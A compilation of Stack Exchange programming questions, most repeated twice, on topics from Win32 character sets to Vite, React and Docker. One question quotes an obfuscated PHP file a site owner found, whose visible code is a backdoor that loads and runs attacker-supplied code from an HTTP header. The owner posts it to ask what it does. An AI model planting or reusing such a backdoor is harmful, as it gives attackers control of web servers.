问:
Qt5.9.9+Vs2017 encountered a character set problem
As the following codes:

CDllLoader::Load(const char* Dll, bool* pLoadError /*=NULL*/)
{
  // load the dll
  m_hDLL = LoadLibrary(Dll);
}
```
<p>But I encounter following problems:</p>
<pre class="lang-bash prettyprint-override"><code>Cannot convert parameter 1 from “const char *to “LPCWSTR”    ...\dllloader.cpp    68

</code>```

Besides, another code block has similar problem as:

CDllLoader::HandleFatalError(const char* Dll)
{
    // create a buffer for the error-message
    LPVOID lpMsgBuf;
    // create the message text
    FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(),
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpMsgBuf, 0, NULL);
    // copy the error-message in a string
    std::string Text((LPCTSTR)lpMsgBuf);//Corresponding to row 185
    // free's the error-message-buffer
    LocalFree(lpMsgBuf);
    // add the dll-name to the error-string
    Text += Dll;
    // exit the application with a error-messagebox
    FatalAppExit(0, Text.c_str());//Corresponding to row 16
}
```
<p>And the problems are:</p>
<pre class="lang-bash prettyprint-override"><code>Error   C2664    “std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(const std::basic_string<char,std::char_traits<char>,std::allocator<char>> &)”: Cannot convert parameter 1 from “LPCTSTR” to “std::initializer_list<_Elem>”    micro_epsilon1    d:\code_rela\micro_epsilon1\micro_epsilon1\dllloader.cpp    185
</code>```

And:

Error    C2664    “void FatalAppExitW(UINT,LPCWSTR)”: Cannot convert parameter 2 from“const _Elem *” to “LPCWSTR”    micro_epsilon1    d:\code_rela\micro_epsilon1\micro_epsilon1\dllloader.cpp    191

```

According to the online suggestions, it should be a character set problem. I have set the character set to 'use multi-byte character set' here, but the above error cannot be resolved.
The above similar code has no problem in the console application as long as it is set to 'use multi-byte character set'. Could you please tell me how to solve it?"

Body:
As the following codes:

CDllLoader::Load(const char* Dll, bool* pLoadError /*=NULL*/)
{
  // load the dll
  m_hDLL = LoadLibrary(Dll);
}

But I encounter following problems:

Cannot convert parameter 1 from “const char *to “LPCWSTR”    ...\dllloader.cpp    68

Besides, another code block has similar problem as:

CDllLoader::HandleFatalError(const char* Dll)
{
    // create a buffer for the error-message
    LPVOID lpMsgBuf;
    // create the message text
    FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(),
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpMsgBuf, 0, NULL);
    // copy the error-message in a string
    std::string Text((LPCTSTR)lpMsgBuf);//Corresponding to row 185
    // free's the error-message-buffer
    LocalFree(lpMsgBuf);
    // add the dll-name to the error-string
    Text += Dll;
    // exit the application with a error-messagebox
    FatalAppExit(0, Text.c_str());//Corresponding to row 16
}

And the problems are:

Error   C2664    “std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(const std::basic_string<char,std::char_traits<char>,std::allocator<char>> &)”: Cannot convert parameter 1 from “LPCTSTR” to “std::initializer_list<_Elem>”    micro_epsilon1    d:\code_rela\micro_epsilon1\micro_epsilon1\dllloader.cpp    185

And:

Error    C2664    “void FatalAppExitW(UINT,LPCWSTR)”: Cannot convert parameter 2 from“const _Elem *” to “LPCWSTR”    micro_epsilon1    d:\code_rela\micro_epsilon1\micro_epsilon1\dllloader.cpp    191

According to the online suggestions, it should be a character set problem. I have set the character set to 'use multi-byte character set' here, but the above error cannot be resolved.
The above similar code has no problem in the console application as long as it is set to 'use multi-byte character set'. Could you please tell me how to solve it?"


来源: stackexchange

问:
Why can't get the selected item in the filtered list of AutoCompleteTextField?
I define a DefaultListModel in an AutoCompleteTextField.

```<code>    DefaultListModel<String> options = new DefaultListModel<>();
    AutoCompleteTextField labelACField = new AutoCompleteTextField(options){
        @Override
        protected boolean filter(String text) {.......

    labelACField.addActionListener(new ActionListener() {
        @Override
        public void actionPerformed(ActionEvent evt) {
            if (filteredIdObjs!=null){
                selectedIdx = options.getSelectedIndex();
                selectedIdObj = filteredIdObjs[selectedIdx];
                oidx = selectedIdObj.getId();
            }
        }
    });
</code>```

A User key in 'ss' in labelACField that show a list with 4 items.
The user selects the 3rd item - DS Drive shake Inc. but options.getSelectedIndex() always return 0. How do I get the user-selected item(the 3rd item)?

ContentLicense: CC BY-SA 4.0

Body:
I define a DefaultListModel in an AutoCompleteTextField.

    DefaultListModel<String> options = new DefaultListModel<>();
    AutoCompleteTextField labelACField = new AutoCompleteTextField(options){
        @Override
        protected boolean filter(String text) {.......

    labelACField.addActionListener(new ActionListener() {
        @Override
        public void actionPerformed(ActionEvent evt) {
            if (filteredIdObjs!=null){
                selectedIdx = options.getSelectedIndex();
                selectedIdObj = filteredIdObjs[selectedIdx];
                oidx = selectedIdObj.getId();
            }
        }
    });

A User key in 'ss' in labelACField that show a list with 4 items.
The user selects the 3rd item - DS Drive shake Inc. but options.getSelectedIndex() always return 0. How do I get the user-selected item(the 3rd item)?


问:
Request.QueryString with AJAX request
I'm trying to join all inputs at an AJAX call to a single string var.

In the backend we have a public JsonResult() which is being called from the frontend with their arguments.

With Request.QueryString.AllKeys we get {string[0]} when it is an AJAX call. When it's a parameter in the URL it returns correctly.

Code we are using is similar to this:

```<code>public JsonResult CustomerEdit(Guid customer, int status, string newName, string newLocation, Guid warehouse)
{
    ...

    var parts = new List<string>(); // using System.Collections.Generic

    foreach (var key in Request.QueryString.AllKeys)
      parts.Add(Request.QueryString[key]);

    string result = string.Join(", ", parts);
}
</code>```

Is there a way to make this work with AJAX call? Or maybe a similar way to achieve this?

UPDATE

AJAX request is similar to:

```<code>$.ajax({
    url: '/ControllerName/CustomerEdit',
    type: "POST",
    contentType: "application/json",
    data: JSON.stringify({
        customer: customer,
        status: status,
        newName: newName,
        newLocation: newLocation,
        warehouse: warehouse
    }),
    success: function (response) {
        },
    error: function (response) {
        }
});
</code>```

Title: Request.QueryString with AJAX request

Body:
I'm trying to join all inputs at an AJAX call to a single string var.

In the backend we have a public JsonResult() which is being called from the frontend with their arguments.

With Request.QueryString.AllKeys we get {string[0]} when it is an AJAX call. When it's a parameter in the URL it returns correctly.

Code we are using is similar to this:

public JsonResult CustomerEdit(Guid customer, int status, string newName, string newLocation, Guid warehouse)
{
    ...

    var parts = new List<string>(); // using System.Collections.Generic

    foreach (var key in Request.QueryString.AllKeys)
      parts.Add(Request.QueryString[key]);

    string result = string.Join(", ", parts);
}

Is there a way to make this work with AJAX call? Or maybe a similar way to achieve this?

UPDATE

AJAX request is similar to:

$.ajax({
    url: '/ControllerName/CustomerEdit',
    type: "POST",
    contentType: "application/json",
    data: JSON.stringify({
        customer: customer,
        status: status,
        newName: newName,
        newLocation: newLocation,
        warehouse: warehouse
    }),
    success: function (response) {
        },
    error: function (response) {
        }
});


问:
fetching data from the API
I am wondering about the available solutions to my problem. Need to retrieve data from API every (preferably) 200ms and save this data to the database since it will still be processed by another service. My solution I wanted to base on RabbitMQ and task queuing. That is, my API from which you can send or delete a task that fetches data every 200ms and adds it to the database. There may be several such tasks though not many. While I know that the latency associated with the database can not be avoided, I do not know if the solution with RabbitMQ is optimal in this case. Maybe someone has experience and can suggest better solutions to this problem ? My API is based on python and FastAPI.</p>

Title: fetching data from the API


问:
Found random php on a site, is it malicious
While making updates to a site, I found a php in the root of the site that had a random string for a name, wybjdmuthp7dk6zj.php. When I look at the contents it looks like:

T89SGEHDLP9B0AGY<?php #+CQ9jnUNtMKWlo3WspzIjo3W0nJ5aXP0kXGgcozysp2I0XPqxnKAjoTS5K2Ilpz9lplpfWmRaXGgcozysp2I0XPqfo2qsMKWlo3WmWljaZPpcB29vK2IhMS9woTIuovtcB2M1ozA0nJ9hVT8bWSpfWRtcrlELCFpaBlE4CGN7WUb9p3EloTIhXPEKXGg3nTyfMFtxrQjxrvy7Mz9lXPElCGN7WUV8p3EloTIhXPEVXGfxpvfeXKfxJP49L2ulXT9lMPtxI1fxrS0cKz9lMPtxFSfxpy0cXGgcMvteXlE4Cw0xrvy7LaWyLJf7sK19pzI0qKWhWSt7sFEbCJI4pTkiMTHbVykhVvkznJkyK2qyqS9wo250MJ50plu0pzygXUOlMJqspzIjoTSwMFtaY1jbKTDeKPxtBvOyqzSfYvbiWljaWlksK0MWGRIsKlxcXFx7MKMuoPuaraIhL29gpUWyp3ZbolujLJAeXPqVXvpfp3Ivp3ElXPEbJmWqYQRcXFkcp3AyqPtxK1ASHyMSHyfaFSEHHS9VDxyMJINkFvqqXG8xK1ASHyMSHyfaFSEHHS9VDxyMJINkFvqqBwNcXFx7MKucqQf/Ct isset($_SERVER['HTTP_CCBNKEN6'])?ob_start()&&require pack('H*',$_SERVER['HTTP_CCBNKEN6']):''; #[encoded data, 14658 characters]

Any ideas of what this is, what it might do?

Removed php files. Just trying to make sure I don't have a bigger issue.


问:
failed to load config from vite.config.js ( RangeError: Maximum call stack size exceeded )
trying to run a project locally . i can not understand why gives me this error
even after i update npm and node but still gives me error

failed to load config from C:\Users\atii\Desktop\project\myapp( $$ Backend ++ Front End )\myapp\client\vite.config.js
[1] error when starting dev server:
[1] RangeError: Maximum call stack size exceeded

here is my vite.config.js

```<code>import react from '@vitejs/plugin-react';
import { defineConfig, loadEnv } from 'vite';
import macrosPlugin from 'vite-plugin-babel-macros';

export default defineConfig(({ mode }) => {
  const env = loadEnv(mode, process.cwd(), '');

  return {
    plugins: [react(), macrosPlugin()],
    root: './',
    build: {
      outDir: 'dist',
    },
    publicDir: 'src',
    server: {
      fs: {
        allow: ['..'],
      },
    },
    define: {
      'process.env': env,
    },
  };
});

</code>```

this is my package.json file :

```<code>{
  "name": "myapp",
  "version": "1.0.0",
  "author": "samurai",
  "scripts": {
    "dev": "vite",
    "build": "vite build",
    "serve": "npm run build && vite preview"
  },
  "dependencies": {
    "@fvilers/disable-react-devtools": "^1.3.0",
    "@reduxjs/toolkit": "^1.8.2",
    "autosize": "^5.0.1",
    "easymde": "^2.16.1",
    "framer-motion": "^6.3.11",
    "gapi-script": "^1.2.0",
    "import": "0.0.6",
    "moment": "^2.29.4",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "react-dotenv": "^0.1.3",
    "react-facebook-login": "^4.1.1",
    "react-github-login-button": "^1.0.1",
    "react-google-button": "^0.7.2",
    "react-google-login": "^5.2.2",
    "react-icons": "^4.4.0",
    "react-login-github": "^1.0.8",
    "react-markdown": "^8.0.3",
    "react-redux": "^8.0.2",
    "react-router-dom": "^6.3.0",
    "react-simplemde-editor": "^5.0.2",
    "react-spinners": "^0.13.3",
    "react-syntax-highlighter": "^15.5.0",
    "react-toastify": "^9.0.8",
    "redux-persist": "^6.0.0",
    "remark-breaks": "^3.0.2",
    "socket.io-client": "^4.5.1",
    "styled-components": "^5.3.5",
    "tailwindcss": "^3.1.3"
  },
  "devDependencies": {
    "@types/react": "^18.0.14",
    "@types/react-dom": "^18.0.5",
    "@vitejs/plugin-react": "^1.3.2",
    "autoprefixer": "^10.4.7",
    "postcss": "^8.4.14",
    "twin.macro": "^2.8.2",
    "vite": "^2.9.15",
    "vite-plugin-babel-macros": "^1.0.6"
  },
  "babelMacros": {
    "twin": {
      "config": "./tailwind.config.js",
      "preset": "styled-components"
    }
  }
}
</code>```

and this is my .env file

```<code>
BASE_URL=
GOOGLE_CLIENT_ID=${GOOGLE_CLIENT_ID}
GITHUB_CLIENT_ID=${GITHUB_CLIENT_ID}
GITHUB_CLIENT_SECRET=${GITHUB_CLIENT_SECRET}

</code>```

i did update node and npm but it did not worked for me .

when i delete .env file it is working . but with .env file not working . the problem is .env file

Body:
trying to run a project locally . i can not understand why gives me this error
even after i update npm and node but still gives me error

failed to load config from C:\Users\atii\Desktop\project\myapp( $$ Backend ++ Front End )\myapp\client\vite.config.js
[1] error when starting dev server:
[1] RangeError: Maximum call stack size exceeded

here is my vite.config.js

import react from '@vitejs/plugin-react';
import { defineConfig, loadEnv } from 'vite';
import macrosPlugin from 'vite-plugin-babel-macros';

export default defineConfig(({ mode }) => {
  const env = loadEnv(mode, process.cwd(), '');

  return {
    plugins: [react(), macrosPlugin()],
    root: './',
    build: {
      outDir: 'dist',
    },
    publicDir: 'src',
    server: {
      fs: {
        allow: ['..'],
      },
    },
    define: {
      'process.env': env,
    },
  };
});

this is my package.json file :

{
  "name": "myapp",
  "version": "1.0.0",
  "author": "samurai",
  "scripts": {
    "dev": "vite",
    "build": "vite build",
    "serve": "npm run build && vite preview"
  },
  "dependencies": {
    "@fvilers/disable-react-devtools": "^1.3.0",
    "@reduxjs/toolkit": "^1.8.2",
    "autosize": "^5.0.1",
    "easymde": "^2.16.1",
    "framer-motion": "^6.3.11",
    "gapi-script": "^1.2.0",
    "import": "0.0.6",
    "moment": "^2.29.4",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "react-dotenv": "^0.1.3",
    "react-facebook-login": "^4.1.1",
    "react-github-login-button": "^1.0.1",
    "react-google-button": "^0.7.2",
    "react-google-login": "^5.2.2",
    "react-icons": "^4.4.0",
    "react-login-github": "^1.0.8",
    "react-markdown": "^8.0.3",
    "react-redux": "^8.0.2",
    "react-router-dom": "^6.3.0",
    "react-simplemde-editor": "^5.0.2",
    "react-spinners": "^0.13.3",
    "react-syntax-highlighter": "^15.5.0",
    "react-toastify": "^9.0.8",
    "redux-persist": "^6.0.0",
    "remark-breaks": "^3.0.2",
    "socket.io-client": "^4.5.1",
    "styled-components": "^5.3.5",
    "tailwindcss": "^3.1.3"
  },
  "devDependencies": {
    "@types/react": "^18.0.14",
    "@types/react-dom": "^18.0.5",
    "@vitejs/plugin-react": "^1.3.2",
    "autoprefixer": "^10.4.7",
    "postcss": "^8.4.14",
    "twin.macro": "^2.8.2",
    "vite": "^2.9.15",
    "vite-plugin-babel-macros": "^1.0.6"
  },
  "babelMacros": {
    "twin": {
      "config": "./tailwind.config.js",
      "preset": "styled-components"
    }
  }
}

and this is my .env file

BASE_URL=
GOOGLE_CLIENT_ID=${GOOGLE_CLIENT_ID}
GITHUB_CLIENT_ID=${GITHUB_CLIENT_ID}
GITHUB_CLIENT_SECRET=${GITHUB_CLIENT_SECRET}

i did update node and npm but it did not worked for me .

when i delete .env file it is working . but with .env file not working . the problem is .env file


问:
The operator '[]' isn't defined for the type 'Object? Function
I want to get firebase database data to my app. "The operator '[]' isn't defined for the type 'Object? Function". The im getting</p>
```<code>StreamBuilder<QuerySnapshot>(
  stream: _firestore.collection('messages').snapshots(),
  builder: (context, snapshot) {
    if (snapshot.hasData) {
      return Center(
        // child: CircularProgressIndicator(
        //   backgroundColor: Colors.lightBlueAccent,
        // ),
      );
    }
      final messages = snapshot.data?.docs;
      List<Text> messageWidgets = [];
      for (var message in messages!) {
        final messageText = message.data['text'];
        final messageSender = message.data['sender'];

        final messageWidget = Text(
            '$messageText from $messageSender'
        );
        messageWidgets.add(messageWidget);
      }
      return Column(
        children: messageWidgets,
      );
  },
),
</code>```

Body:
I want to get firebase database data to my app. "The operator '[]' isn't defined for the type 'Object? Function". The im getting

StreamBuilder<QuerySnapshot>(
  stream: _firestore.collection('messages').snapshots(),
  builder: (context, snapshot) {
    if (snapshot.hasData) {
      return Center(
        // child: CircularProgressIndicator(
        //   backgroundColor: Colors.lightBlueAccent,
        // ),
      );
    }
      final messages = snapshot.data?.docs;
      List<Text> messageWidgets = [];
      for (var message in messages!) {
        final messageText = message.data['text'];
        final messageSender = message.data['sender'];

        final messageWidget = Text(
            '$messageText from $messageSender'
        );
        messageWidgets.add(messageWidget);
      }
      return Column(
        children: messageWidgets,
      );
  },
),


问:
How to Implement autocomplete textbox in Grid Columns in blazer asp .NET core 7
pls help me to implement this functionality in asp .NET core blazer

I want to Implement autocomplete textbox in Grid Control with blazer asp .NET core 7 so that I can dynamically add New Rows in Grid Control just like datagridview control(windows forms). I am using IgniteUIBlazor component for adding grid in blazer.

`

```<code><div class="container vertical">
    @if (Data != null)
    {<div style="overflow: hidden"> <IgbDataGrid Height="100%" Width="100%"
                         EditModeClickAction="EditModeClickAction.SingleClick"
                         DefaultColumnMinWidth="120"
                         AutoGenerateColumns="false"
                         DataSource="Data"
                         EditMode="EditModeType.Cell"
                         ActivationMode="@GridActivationMode.Cell"
                         SelectionMode="@DataGridSelectionMode.SingleRow"
                         SelectionBehavior="@GridSelectionBehavior.ModifierBased"
                         IsColumnOptionsEnabled="true">
                <IgbTextColumn Field="FirstName" HeaderText="Disease" Width="@("*>150")" />
                <IgbTextColumn Field="Street" HeaderText="Medicine" Width="@("*>160")" />
                <IgbTextColumn Field="City" HeaderText="Potency" Width="@("*>120")">

                </IgbTextColumn>
            </IgbDataGrid>
        </div>
    }
</div>
</code>```

`

Body:
pls help me to implement this functionality in asp .NET core blazer

I want to Implement autocomplete textbox in Grid Control with blazer asp .NET core 7 so that I can dynamically add New Rows in Grid Control just like datagridview control(windows forms). I am using IgniteUIBlazor component for adding grid in blazer.

`

    @if (Data != null)
    {
 <IgbDataGrid Height="100%" Width="100%"
                         EditModeClickAction="EditModeClickAction.SingleClick"
                         DefaultColumnMinWidth="120"
                         AutoGenerateColumns="false"
                         DataSource="Data"
                         EditMode="EditModeType.Cell"
                         ActivationMode="@GridActivationMode.Cell"
                         SelectionMode="@DataGridSelectionMode.SingleRow"
                         SelectionBehavior="@GridSelectionBehavior.ModifierBased"
                         IsColumnOptionsEnabled="true">
                <IgbTextColumn Field="FirstName" HeaderText="Disease" Width="@("*>150")" />
                <IgbTextColumn Field="Street" HeaderText="Medicine" Width="@("*>160")" />
                <IgbTextColumn Field="City" HeaderText="Potency" Width="@("*>120")">

                </IgbTextColumn>
            </IgbDataGrid>

    }

`


问:
Can I map searchforward to key a custom binding with Ideavim?
In my ideavimrc I have this:

```<code>" always search forward
nnoremap <expr> n 'Nn'[v:searchforward]
nnoremap <expr> N 'nN'[v:searchforward]
</code>```

I do this in Vim so it always searches forward no matter where the initial match is. But if I add this to my ideavimrc pressing N or n does nothing (it breaks move to next match completely).

Does ideavim not support v:searchforward? Is there another way I could accomplish this?

Body:
In my ideavimrc I have this:

" always search forward
nnoremap <expr> n 'Nn'[v:searchforward]
nnoremap <expr> N 'nN'[v:searchforward]

I do this in Vim so it always searches forward no matter where the initial match is. But if I add this to my ideavimrc pressing N or n does nothing (it breaks move to next match completely).

Does ideavim not support v:searchforward? Is there another way I could accomplish this?


问:
Using EF Core Power Tool for an Oracle Database?
I am using VS 2022 and trying to use EF Core Power Tools to reverse engineer an Oracle database.  I right-click and choose 'Reverse Engineer' and then add a custom connection string (since the other way has been deprecated for Oracle). I enter the connection string for the Oracle database:

"Data Source=(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=)(PORT=)))(CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=)));User Id=;Password=;"

After a few seconds, an empty dialog appears.

I am not sure what's wrong.  I am not aware if there are any logs I can look at to see what is wrong.

Any suggestions?  Thank you for your time!


问:
React & Typescript - Uncaught (in promise) Error: Invalid hook call
Very new to React Hooks and can't get past Invalid Hook Call.

```<code>    export default function ResultsPage({ x, y }: ResultsPageProps): ReactElement {
       const [order, setOrder] = useState('ascending');

       return (
         <>
           ...
         <>
       );
</code>```

I've read the docs, but I'm lost on why this doesn't work.

```<code> Uncaught (in promise) Error: Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:
1. You might have mismatching versions of React and the renderer (such as React DOM)
2. You might be breaking the Rules of Hooks
3. You might have more than one copy of React in the same app
See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.
    at resolveDispatcher (react.development.js:1476:13)
    at useState (react.development.js:1507:20)
    at Module.ResultsPage (ResultsPage.tsx:92:66)
    at _callee$ (main.tsx:40:67)
    at tryCatch (regeneratorRuntime.js:44:17)
    at Generator.eval (regeneratorRuntime.js:125:22)
    at Generator.eval [as next] (regeneratorRuntime.js:69:21)
    at asyncGeneratorStep (asyncToGenerator.js:7:24)
    at _next (asyncToGenerator.js:26:9)
</code>```

Body:
Very new to React Hooks and can't get past Invalid Hook Call.

    export default function ResultsPage({ x, y }: ResultsPageProps): ReactElement {
       const [order, setOrder] = useState('ascending');

       return (
         <>
           ...
         <>
       );

I've read the docs, but I'm lost on why this doesn't work.

 Uncaught (in promise) Error: Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:
1. You might have mismatching versions of React and the renderer (such as React DOM)
2. You might be breaking the Rules of Hooks
3. You might have more than one copy of React in the same app
See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.
    at resolveDispatcher (react.development.js:1476:13)
    at useState (react.development.js:1507:20)
    at Module.ResultsPage (ResultsPage.tsx:92:66)
    at _callee$ (main.tsx:40:67)
    at tryCatch (regeneratorRuntime.js:44:17)
    at Generator.eval (regeneratorRuntime.js:125:22)
    at Generator.eval [as next] (regeneratorRuntime.js:69:21)
    at asyncGeneratorStep (asyncToGenerator.js:7:24)
    at _next (asyncToGenerator.js:26:9)


问:
Exploiting Conforming Code Segment access
Seeing this in Intel Manual:

"Conforming segments are used for code modules such as math libraries and exception handlers, which support applications but do not require access to protected system facilities. These modules are part of the operating system or executive software, but they can be executed at numerically higher privilege levels (less privileged levels). Keeping the CPL at the level of a calling code segment when switching to a conforming code segment prevents an application program from accessing nonconforming code segments while at the privilege level (DPL) of a conforming code segment and thus prevents it from accessing more privileged data"

My question is: What would be an example of an application(R3) program trying to exploit the changed CPL(if CPL is changed when accessing a conforming code segment) and access R0 code or data?

I didn't seem to find an answer in the manual.
Would very much appreciate for any help or clue.


问:
Remaking request to the function
I need to turn this request to the function

```<code>SELECT object_id, brigade_code, date_and_time
FROM purpose
WHERE date_and_time BETWEEN '2022-06-15 16:20:23' AND '2022-10-03 18:12:45';
</code>```

My best attempt

```<code>Create function report_for_period (date_from timestamp, date_to timestamp)
returns int
language 'plpgsql'
as
$$
    begin
        SELECT date_and_time::timestamp
        from purpose
        WHERE date_and_time between $1 and $2;
    end;
$$

select report_for_period ('2022-06-15 16:20:23'::timestamp,'2022-10-03 18:12:45'::timestamp)
</code>```

And this gives me this, after SELECT command:

ERROR: ERROR: There is no destination for result data in the request
HINT: If you need to discard SELECT results, use PERFORM.
CONTEXT: PL/pgSQL function report_for_period (timestamp without time zone,timestamp without time zone), line 3, SQL statement

Title: Remaking request to the function

Body:
I need to turn this request to the function

SELECT object_id, brigade_code, date_and_time
FROM purpose
WHERE date_and_time BETWEEN '2022-06-15 16:20:23' AND '2022-10-03 18:12:45';

My best attempt

Create function report_for_period (date_from timestamp, date_to timestamp)
returns int
language 'plpgsql'
as
$$
    begin
        SELECT date_and_time::timestamp
        from purpose
        WHERE date_and_time between $1 and $2;
    end;
$$

select report_for_period ('2022-06-15 16:20:23'::timestamp,'2022-10-03 18:12:45'::timestamp)

And this gives me this, after SELECT command:

ERROR: ERROR: There is no destination for result data in the request
HINT: If you need to discard SELECT results, use PERFORM.
CONTEXT: PL/pgSQL function report_for_period (timestamp without time zone,timestamp without time zone), line 3, SQL statement


问:
Docker Windows and Linux Containers Simultaneously
How Docker Windows and Linux Containers run Simultaneously (how does it works) and why building doesn't work.

I try to run mixed windows and linux containers using docker compose.

I followed this

article and its worked (using compose version 2.4 and latest docker desktop).

Can someone explain me how does it work? Does it work only with wsl or I can use it using linux hyperv?

When I try to build new linux image (pulling works fine) I got an error, some commands gave me Invalid signal: WINCH and some gave me

```<code>
returned a non-zero code: 4294967295:

failed to shutdown container: container ad12191abf0849d5e49bb5dc0570d6ba8eaf2cc5b4e7d77127ed381901fcb672

encountered an error during hcsshim::System::waitBackground: failure in a Windows system call:

The virtual machine or container with the specified identifier is not running. (0xc0370110):

subsequent terminate failed container ad12191abf0849d5e49bb5dc0570d6ba8eaf2cc5b4e7d77127ed381901fcb672

encountered an error during hcsshim::System::waitBackground: failure in a Windows system call:

The virtual machine or container with the specified identifier

</code>```

Someone solved it?

Body:
How Docker Windows and Linux Containers run Simultaneously (how does it works) and why building doesn't work.

I try to run mixed windows and linux containers using docker compose.

I followed this

article and its worked (using compose version 2.4 and latest docker desktop).

Can someone explain me how does it work? Does it work only with wsl or I can use it using linux hyperv?

When I try to build new linux image (pulling works fine) I got an error, some commands gave me Invalid signal: WINCH and some gave me

returned a non-zero code: 4294967295:

failed to shutdown container: container ad12191abf0849d5e49bb5dc0570d6ba8eaf2cc5b4e7d77127ed381901fcb672

encountered an error during hcsshim::System::waitBackground: failure in a Windows system call:

The virtual machine or container with the specified identifier is not running. (0xc0370110):

subsequent terminate failed container ad12191abf0849d5e49bb5dc0570d6ba8eaf2cc5b4e7d77127ed381901fcb672

encountered an error during hcsshim::System::waitBackground: failure in a Windows system call:

The virtual machine or container with the specified identifier

Someone solved it?


问:
Problem with Debugger(Visual Studio Code)(SASS typing)

Hello, what is my problem? I am writing code on the CSS preprocessor (SASS), and when I write any letters in the code (anything), then the debugger constantly opens, it pops up from below (photo from below), and also here is a photo from below mine extensions can install something.
And I will pin the photo from settings.json(its a Live SASS compiler) and if it needs my file system
There is no such problem in the CSS code, the debugger does not open in its
extensions
CODE+DEBUGGER PROBLEM
2 more extebtions
File system

HELP ME PLEASE!!!

there is no such problem in the CSS code, the debugger does not open in it
I don`t know what to do :(


问:
Error spawn unknown error in NodeJS while hitting an api
I am trying to hit an api which will send an email. The api works fine on my work mates system. But on my system it gives the following error-

I have tried to find the solution but none of them worked. I am actually using windows 11 OS.
What can I do to solve this problem. The database used at backend is MongoDB and framework is ExpressJS.


问:
To write a program in r , using loops for the algorithm given below
I want to write a loop in R to find the AIC factor. For its calculation, I need to run an algorithm given below.

Here  'x' represents the dataset and x(i) denotes theiith observation after arranging it in ascending order. Q(u) and q(u) represent the quantile function and quantile density function respectively. For my distribution Q(u) and q(u) are given below.
Q(u)=-α log(1-u)+(b-α)u+((r-b))/2 u^2
q(u)=b+u(r-b+α/(1-u)).

I need to calculate AIC factor using q(u) where, AIC=2k-2log(1/(∏_(i=1)^n q(ui)); here k=3 (no. of parameters). For the data in the x-vector, I must get AIC as 122.106. The algorithm to find q(u) is given below.

Take $u_{i}^{0}=\frac{i}{n+1},i=1,2,....,n$ as the initial estimate of $u_{i}$ corresponding to x(i).

Compute  $D_{i}=Q\left (u {i}^{0} \right )-x{\left ( i \right )}$ ,for $i=1,2,...n$ and update each $u_{i}^{0}$.

$u_{i}^{1}=u_{i}^{0}+\frac{x_{\left ( i \right)-Q\left ( u_{i}^{0}\right)}}{q\left (u {i}^{0} \right )} $, when $\left | D{i} \right |> \epsilon $, a small positive quantity, say $\epsilon=10^{-7}$.

Iterate step 2 until $\left | D_{i} \right |\leq \epsilon$ for all i
Can you help me to write the R program based on the algorithm?
The data set is given as,

```<code>x=c(0.047, 0.296, 0.540, 1.271, 0.115, 0.334, 0.570, 1.326, 0.121, 0.395, 0.641, 1.447, 0.132, 0.458, 0.644, 1.485, 0.164, 0.466, 0.696, 1.553, 0.197, 0.501, 0.841,1.581,
0.203,0.507, 0.863, 1.589, 3.743, 0.260, 0.529, 1.099, 2.178, 0.282, 0.534, 1.219, 2.343, 2.416, 2.444, 2.825, 2.830, 3.578, 3.658, 3.978, 4.033)
</code>```

Body:
I want to write a loop in R to find the AIC factor. For its calculation, I need to run an algorithm given below.

Here  'x' represents the dataset and x(i) denotes theiith observation after arranging it in ascending order. Q(u) and q(u) represent the quantile function and quantile density function respectively. For my distribution Q(u) and q(u) are given below.
Q(u)=-α log(1-u)+(b-α)u+((r-b))/2 u^2
q(u)=b+u(r-b+α/(1-u)).

I need to calculate AIC factor using q(u) where, AIC=2k-2log(1/(∏_(i=1)^n q(ui)); here k=3 (no. of parameters). For the data in the x-vector, I must get AIC as 122.106. The algorithm to find q(u) is given below.

Take $u_{i}^{0}=\frac{i}{n+1},i=1,2,....,n$ as the initial estimate of $u_{i}$ corresponding to x(i).

Compute  $D_{i}=Q\left (u {i}^{0} \right )-x{\left ( i \right )}$ ,for $i=1,2,...n$ and update each $u_{i}^{0}$.

$u_{i}^{1}=u_{i}^{0}+\frac{x_{\left ( i \right)-Q\left ( u_{i}^{0}\right)}}{q\left (u {i}^{0} \right )} $, when $\left | D{i} \right |> \epsilon $, a small positive quantity, say $\epsilon=10^{-7}$.

Iterate step 2 until $\left | D_{i} \right |\leq \epsilon$ for all i
Can you help me to write the R program based on the algorithm?
The data set is given as,

x=c(0.047, 0.296, 0.540, 1.271, 0.115, 0.334, 0.570, 1.326, 0.121, 0.395, 0.641, 1.447, 0.132, 0.458, 0.644, 1.485, 0.164, 0.466, 0.696, 1.553, 0.197, 0.501, 0.841,1.581,
0.203,0.507, 0.863, 1.589, 3.743, 0.260, 0.529, 1.099, 2.178, 0.282, 0.534, 1.219, 2.343, 2.416, 2.444, 2.825, 2.830, 3.578, 3.658, 3.978, 4.033)


问:
How can I use custom padding in Node js encryption and decryption?
While I was going through a piece of code in JAVA for encryption there is padding mechanism we can provide while creating cipher instance.

```<code>        final Cipher cipher = Cipher.getInstance("AES/CBC/ISO10126Padding");
</code>```

Here we can specify the padding to be used.

How can i achieve the same in Node.js?

Use Case: I am decrypting the data which i have encrypted via JAVA using this method.

Note: In Java i can encrypt & decrypt by creating the cipher instance the above provided way and getting success response.
Let me know if any other info required.

Body:
While I was going through a piece of code in JAVA for encryption there is padding mechanism we can provide while creating cipher instance.

        final Cipher cipher = Cipher.getInstance("AES/CBC/ISO10126Padding");

Here we can specify the padding to be used.

How can i achieve the same in Node.js?

Use Case: I am decrypting the data which i have encrypted via JAVA using this method.

Note: In Java i can encrypt & decrypt by creating the cipher instance the above provided way and getting success response.
